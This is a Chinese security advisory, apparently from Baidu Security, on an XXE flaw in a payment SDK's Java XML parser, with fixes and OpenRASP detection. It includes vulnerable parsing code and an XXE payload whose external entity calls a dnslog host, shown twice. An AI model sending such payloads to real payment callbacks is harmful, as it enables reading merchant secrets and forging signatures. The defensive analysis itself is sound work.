2018-07-10 17:25:471684人阅读
某支付SDK JAVA版最近曝出了XXE漏洞,百度安全对其进行了分析整理。在使用该支付系统时,商家需要提供一个回调URL地址,以接收异步支付结果通知。由于该接口使用XML格式的数据,且SDK代码中未禁用外部实体加载,导致XXE漏洞。在得知回调URL的情况下,成功利用该漏洞可获取服务器上的敏感信息,伪造校验签名等等,危害较大。
目前,官方已经修复了漏洞,并发布了新版SDK。
以官方给出的JAVA SDK demo为例,在接受回调支付消息时,用户需要调用 WXPayUtil::xmlToMap 方法来解析XML数据,然后再调用WXPayUtil::isPayResultNotifySignatureValid 校验数据签名:
import com.github.wxpay.sdk.WXPay;
import com.github.wxpay.sdk.WXPayUtil;
import java.util.Map;
public class WXPayExample {
public static void main(String[] args) throws Exception {
String notifyData = "...."; // 支付结果通知的xml格式数据
MyConfig config = new MyConfig();
WXPay wxpay = new WXPay(config);
Map<String, String> notifyMap = WXPayUtil.xmlToMap(notifyData);
if (wxpay.isPayResultNotifySignatureValid(notifyMap)) {
}
else {
}
}
}
其中,notifyData是攻击者可控的XML格式的数据。我们跟进下WXPayUtil::xmlToMap方法,看漏洞如何产生:
public class WXPayUtil {
/**
* XML格式字符串转换为Map
* @param strXML XML字符串
* @return XML数据转换后的Map
* @throws Exception
*/
public static Map<String, String> xmlToMap(String strXML) throws Exception {
try {
Map<String, String> data = new HashMap<String, String>();
DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance();
//未使用setFeature()方法来禁用外部实体、参数实体、内联DTD等。
DocumentBuilder documentBuilder = documentBuilderFactory.newDocumentBuilder();
InputStream stream = new ByteArrayInputStream(strXML.getBytes("UTF-8"));
org.w3c.dom.Document doc = documentBuilder.parse(stream);
doc.getDocumentElement().normalize();
NodeList nodeList = doc.getDocumentElement().getChildNodes();
for (int idx = 0; idx < nodeList.getLength(); ++idx) {
Node node = nodeList.item(idx);
if (node.getNodeType() == Node.ELEMENT_NODE) {
org.w3c.dom.Element element = (org.w3c.dom.Element) node;
data.put(element.getNodeName(), element.getTextContent());
}
}
try {
stream.close();
} catch (Exception ex) {
// do nothing
}
return data;
} catch (Exception ex) {
WXPayUtil.getLogger().warn("Invalid XML, can not convert to map. Error message: {}. XML content: {}", ex.getMessage(), strXML);
throw ex;
}
}
由于代码中没有禁用外部实体加载,一旦攻击者获知支付回调URL地址,便可以发起攻击。另外,由于签名校验发生于XML解析之后,所以这里并不能通过签名进行保护。
以某游戏公司为例。在使用该支付系统在生成订单时,它会向api.mch.weixin.qq.com提交notify_url参数,即支付成功回调地址。通过抓包,我们可以获取notify_url参数的值,e.g
POST /pay/unifiedorder HTTP/1.1
Accept: application/json
Content-type: application/json
Content-Length: 453
Host: api.mch.weixin.qq.com
Connection: close
<xml><appid>wx3277506be60ee127</appid><body>750000游戏币</body><detail>购买获得750000游戏币</detail><mch_id>1272031101</mch_id><nonce_str>acff91f4be752d70c</nonce_str><notify_url>http://example.com/callback</notify_url><out_trade_no>4d2bd9e1e83fbed239af0ab27aeb7c16</out_trade_no><spbill_create_ip>127.0.0.1</spbill_create_ip><total_fee>8000</total_fee><trade_type>APP</trade_type><sign>D081037A841632C30785607</sign></xml>
之后我们就可以向 http://example.com/callback 发起XXE攻击。攻击方式和常规的XXE利用完全一样,可以读取服务器上的敏感文件,比如商户秘钥、MchID 等等。对于甲方而言,一个比较快的漏洞验证方式,是使用 dnslog 地址批量验证漏洞,e.g
POST /pay/WeixinNotify HTTP/1.1
HOST: api.xxxx.com
Accept: */*
User-Agent: android_6.0_tencent_yingyongbao
Content-Length: 134
Content-Type: application/xml;charset=UTF-8
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % xxe SYSTEM "http://SERVER_NAME.8ug564x.ceye.io/">
%xxe;
]>
在处理用户输入的XML时,可禁用一些不需要的XML特性:
l DTD解释器,确保DOCTYPE标记被忽略或包含它们的文档被拒绝;
l 外部实体,如果DOCTYPE不能完全禁用,请确保引用的外部实体被拒绝;
l schemaLocation,如果解析器包含这个属性,要确保任意文档不会被检索。
JAVA:
JAVA在使用DOM处理xml的时候,要用setFeature参数来禁用外部实体、参数实体、内联DTD等。示例如下:
//未捕获ParserConfigurationException 异常,仅参考
import javax.xml.parsers.DocumentBuilderFactory;
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
//修复方法1:不允许DTDS(DOCTYPE),优先选择的解决方案,几乎可以阻止所有的XML实体攻击
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
//修复方法2:
//true表示实现安全的处理XML,会对XML的结构进行限制,避免出现利用XXE进行文件读取的攻击行为
//如果设置为false,表示根据XML的规范处理XML,忽略安全问题
dbf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING,true);
//其它说明:如果没办法完全不允许DTDS,至少按照如下方法修复
//该feature配置是否包含参数实体,设置false禁用参数实体
//xerces 1:http://xerces.apache.org/xerces-j/features.html#external-parameter-entities
//xerces 2:http://xerces.apache.org/xerces2-j/features.html#external-parameter-entities
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
//该feature配置是否包含外部实体,设置false禁用外部实体
//xerces 1:http://xerces.apache.org/xerces-j/features.html#external-general-entities
//xerces 2:http://xerces.apache.org/xerces2-j/features.html#external-general-entities
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
//该feature配置否包含外部DTD,设置false禁用外部Dtd
//xerces:http://xerces.apache.org/xerces-j/features.html#load-external-dtd
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd",false);
feature表示解析器的功能,通过设置feature,可以控制XML解析器的行为,如是否对XML文件进行验证等。
PHP:
php的XML解析器,xmlparse和simplexmlload,xmlparse默认不会解析外部实体,simplexmlload需要自行设置,方法如下:
libxml_disable_entity_loader(true);
对于WAF而言,常见的防御方式是过滤POST数据里的 <!ENTITY、SYSTEM、PUBLIC 等关键词,存在绕过的风险;另外,即使你升级到了新版SDK,在扫描器批量扫描时,WAF也会产生一些报警。
OpenRASP 采用了不同的防御方法,即通过挂钩XML实体解析函数,并在加载外部实体的时候,调用插件检查实体是否存在异常。
举个例子,当攻击者尝试利用XXE去加载 dnslog 地址时,
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % xxe SYSTEM "http://SERVER_NAME.8ug564x.ceye.io/">
%xxe;
]>
OpenRASP 检测插件会看到如下内容,并根据外部实体请求协议,以及访问的内容,来判断这是否是个恶意行为。
type = xxe
params = {
“entity”: "http://SERVER_NAME.8ug564x.ceye.io/"
}
具体算法可在github上查看
https://github.com/baidu/openrasp/blob/master/plugins/official/plugin.js#L1178
另外,在后续版本中,OpenRASP 还会增加代码安全开关。即在 DocumentBuilderFactory 等XML解析库初始化的时候,自动的帮你调用禁用外部实体加载的函数,屏蔽XXE漏洞。在这种情况下,即使再爆出XXE漏洞也无需担心,OpenRASP会自动帮你提升代码安全级别,并留出足够的时间排查和升级支付系统SDK。
http://seclists.org/fulldisclosure/2018/Jul/3
https://www.owasp.org/index.php/XMLExternalEntity(XXE)PreventionCheatSheet
文章来源:百度安全 转载请注明出处